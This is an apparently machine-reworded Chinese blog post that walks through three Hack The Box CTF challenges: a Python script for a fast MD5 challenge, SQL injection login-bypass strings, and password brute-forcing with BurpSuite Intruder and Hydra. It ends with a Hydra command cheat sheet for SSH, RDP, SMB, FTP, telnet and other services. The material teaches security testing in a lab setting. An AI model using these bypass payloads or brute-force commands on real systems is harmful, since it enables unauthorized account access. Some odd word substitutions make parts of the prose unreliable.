首页 » PHP教程 » PHP爆破暗码技巧_三十八hack the box渗透之BurpSuite和Hydra密码爆破二

PHP爆破暗码技巧_三十八hack the box渗透之BurpSuite和Hydra密码爆破二

访客 2024-12-17 0

扫一扫用手机浏览

文章目录 [+]

这是一道入门题目,其提示是“Can you encrypt fast enough?”。

host: docker.hackthebox.eu port:31060打开网址显示如下图所示,MD5 encrypt this string(MD5加密这个字符串),并给出了“BK3ZuECdQYRyERJTXkpP”。

PHP爆破暗码技巧_三十八hack the box渗透之BurpSuite和Hydra密码爆破二

我们用在线md5加密,随便提交一串数字,其反馈结果为“Too slow”。

PHP爆破暗码技巧_三十八hack the box渗透之BurpSuite和Hydra密码爆破二
(图片来自网络侵删)

初始页面,不管怎么样点击Submit都会显示"Too slow!"

查看源代码如下图所示,也没有特殊的隐蔽或提示。

转头再看题目提示“Can you encrypt fast enough?”,这是一道常见的CTF题目。
稽核的是代码发送要求,而不是人为点击。
我们试试Python代码,通过md5加密这个句子,然后发送post要求,它肯定比我们人为地访问网页再去加密速率快得多。

代码如下:

import requestsimport hashlibimport re# 访问目标网站url = "http://docker.hackthebox.eu:31060/"r = requests.session()out = r.get(url)# 定位节点位置con = re.compile(r"<h3 align='center'>(\S+)</h3>", re.I)# 获取MD5须要加密的字符串str1 = con.findall(out.text)# MD5加密字符串str2 = hashlib.md5(str1[0].encode('utf-8')).hexdigest()# 发送POST要求data={'hash': str2}out = r.post(url = url, data = data)# 输出结果print(out.text)

输出结果如下所示:HTB{I Love CSDN!},成功完全。

二.万能密码SQL注入

[30 Points] Cartographer [by Arrexel]

Some underground hackers are developing a new command and control server. Can you break in and see what they are up to?

访问网址如下图所示:

知识点:

万能密码常日是指开拓职员在开拓过程中利用超级管理员进行开拓,开拓完成后没有过滤掉这些常用的超级管理员;另一种是存在SQL漏洞管理员账号。
下面分别进行谈论:

万能密码:用户名 admin、密码admin,用户名admin、密码123456

万能密码:用户名 ‘or’=‘or’、密码 ‘or’=‘or’

事理阐明:假设用户登录对应的语句为:

select name, pwd from login where name=’’ and pwd=’’;

如果用户名输入精确则直接登录,否则提示用户名或密码缺点,利用万能密码后的SQL语句如下:

select name, pwd from login where name=’‘or’=‘or’’ and pwd=’‘or’=‘or’’;

核心代码,两个单引号匹配,即name=’’,然后or连接,单引号即是单引号(’=’)这是恒成立的,紧接着or连接两个单引号(’’),同理密码pwd。
这样or连接的(’=’)是恒成立的,故返回结果为真,导致直接登录。

万能密码:用户名 ‘or’’=’、密码’or’’=’

事理阐明:此时对应的SQL语句如下:

select name, pwd from login where name=’‘or’’=’’ and pwd=’‘or’’=’’;

万能密码:用户名’or’=’–、密码’or’=’–

事理阐明:此时对应的SQL语句如下:

select name, pwd from login where name=’‘or’=’–’ and pwd=’‘or’=’–’;

这是一道SQL注入题目,我们将用户名和密码设置为万能密码admin、‘or’='or’均失落败,那试试 ‘=’ 呢?

考试测验剖析源码或BurpSuite剖析,如下图所示。

成功之后会进入下面的界面,还须要进一步提取Flag。

接着考试测验将参数设置为flag呢?这稽核目录扫描,终极后去的flag如下所示。

按照格式输入Flag提交即可,如:HTB{I love CSDN}。

同样,类似的题目我们可以考试测验SQLMAP,看看能不能获取登录密码。

三.BurpSuite和Hydra密码爆破

[20 Points] Lernaean [by Arrexel] [22624 solvers]

Your target is not very good with computers. Try and guess their password to see if they may be hiding anything.

你的目标看上去并不是特殊善于电脑,试着猜一下他的密码看看他到底藏着什么…

这个寻衅20分,难度还行,由Arrexel编辑上传。

访问之后如下图所示:Administrator Login(管理员登录)— CONFIDENTIAL — (保密)Please do not try to guess my password! (不要试图猜中我的密码)

随便输入,提示“Invalid password!”(密码无效)。

查看源代码也没有什么提示信息,仅有一个输入框,form-post登录表单提交。
随便试了几个弱密码,则页面左上角提示 “Invalid password”。

在HTB或CTF里有一个传统,便是常日题目名称就已经包含着干系提示,百度了一下题目Lernaean,创造这便是Hydra嘛,看这不是明摆着见告我要暴力破吗?

密码爆破可以分为两种,一种是在线爆破,这种方hydra式一样平常哀求待爆破的工具对我们来说是可以正常供应做事的,普通来讲便是能够让我们通过一定的路子去考试测验登录,或者是验证用户密码的精确性。
另一种便是本地爆破,比如wifi抓包爆破wifi密码,只要提前抓到了wifi登录验证的数据包,就可以在本地电脑上进行爆破操作,而不须要路由器来参与验证密码的精确性。

1.BurpSuite登录爆破

参考作者前文:[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy根本用法及暴库示例

在暴力爆破前,先要理解网站登录post表单中有何字段。
最方便的方法便是利用谷歌浏览器自带的检视工具,创造只有一个password字段,接着考试测验爆破。

第一步,设置BurpSuite代理端口。

第二步,设置浏览器代理IP地址“127.0.0.1”,端口“8080”,和BurpSuite同等即可。

启动浏览器代理,这里作者利用OWASP Mantra浏览器,读者利用自己的Chrome、Firefox均可。

OWASP Mantra 是由 Mantra 团队开拓,面向渗透测试职员、Web 开拓职员和安全专业职员的安全工具套件 (基于浏览器, 目前是 Chromium 和 Firefox ),包括扩展程序和脚本凑集。

第三步,浏览器访问,然后BurpSuite截断,点击“Forward”。

如下图所示,浏览器中随机输入密码“123456”

第四步,在界面中鼠标右键,在弹出菜单中选择“Send to Intruder”(Ctrl+I),此时会将要求数据分发给Intruder模块,并且Intruder变红。

鼠标选中要求数据页面中的Password参数值(须要进行暴力爆破的密码值),单击“Add§”按钮进行位置标记,TextBoxPwd=§123456§。

第五步,选择Payloads选项,单击“Load items form file”,在弹出的对话框中选择暴力爆破密码文件并单击“打开”按钮,将爆破密码列表导入。

把稳,这里作者仅设置了最大略的密码,有两个爆破字典库供大家利用,一个22M,另一个是kali常用字典133M。

第六步,单击“Start attack”按钮开始爆破测试,剖析输出结果。

输出结果如下图所示:

剖析结果如下图所示,在弹出的窗口“Intruder attack”中可以根据返回长度Length的不同判断爆破是否成功,这里隐蔽的密码是“xxxxxx”,它的长度最大并且为终极密码。
把稳,Length越大那么密码吻合就越大。

缺点的密码Response反馈结果:

精确的密码Response反馈结果:

终极密码显示在BurpSuite返回的Response中,如下所示。

<h1 style='color: #fff;'>HTB{I Love Eastmount!}</h1><script type="text/javascript"> window.location = "noooooooope.html"</script>

提交即可:

PS:这里存在一个问题,我们的爆破密码利用它太慢,这里供应另一种方法。

2.Hydra登录爆破

hydra是一个极其强大的在线获取密码的工具(爆破神器),Hydra 可以根据利用者指定的用户名字典文件、密码字典文件、目标IP列表来暴力获取目标系统登任命户名和密码,并且其支持多种协议以及并发连接!

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-11 21:47:31Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -t TASKS run TASKS number of connects in parallel per target (default: 16) -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help)

这里参考“黑猫驿站”大神的结果。
Hydra参数用户名为空,密码表为rockyou.txt,目标端口为35542,http-post-form表格参数要把稳登录失落败字符为"Invalid password!"。

hydra -l "" -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form "/:password=^PASS^:Invalid password!" -s 35542

密码爆破结果如下图所示,这里密码打一下码。

末了用burpsuite对登录(利用上方的密码)抓一次包,密码在h1中。

把稳:这里须要用Burpsuite截包,如果用浏览器直接登录的话,页面会被逼迫重定向到nooooooope.html。

如何安装hydra呢?个人感想熏染,安装环境还挺难的。

github代码如下:https://github.com/vanhauser-thc/thc-hydra

Linux安装:

Kali是安全从业职员常用的Linux系统,自带有大量安全工具集,Hydra自然也集成在里面,工具位置在密码攻击—在线攻击一栏,直接输入命令即可。

Windows安装:从github下载Windows版本,然后命令行模式下运行。
https://github.com/maaaaz/thc-hydra-windows

打开输入hydra.exe 就可以查看命令行帮助界面了。

作者利用了Hydra爆破,但做事器随意马虎奔溃,如下图所示:

Hydra常用命令如下:

#sshhydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh#httpshydra -m /index.php -l username -P pass.txt IP https#teamspeakhydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak#ciscohydra -P pass.txt IP ciscohydra -m cloud -P pass.txt 10.36.16.18 cisco-enable#smbhydra -l administrator -P pass.txt IP smb#pop3hydra -l muts -P pass.txt my.pop3.mail pop3#rdphydra IP rdp -l administrator -P pass.txt -V#http-proxyhydra -l admin -P pass.txt http-proxy://10.36.16.18#telnethydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V#ftp:hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vVhydra IP ftp -l 用户名 -P 密码字典 -e ns -vV#get办法提交hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php#post办法提交hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”四.总结

这篇根本性文章就此结束,希望文章对您有所帮助。
非常感谢师弟他们的推举,也以为自己的技能好浅,要学的知识好多。
如果您是安全初学者,一步一步学习,多实践多考试测验,大牛都是逐步练成的。

标签:

相关文章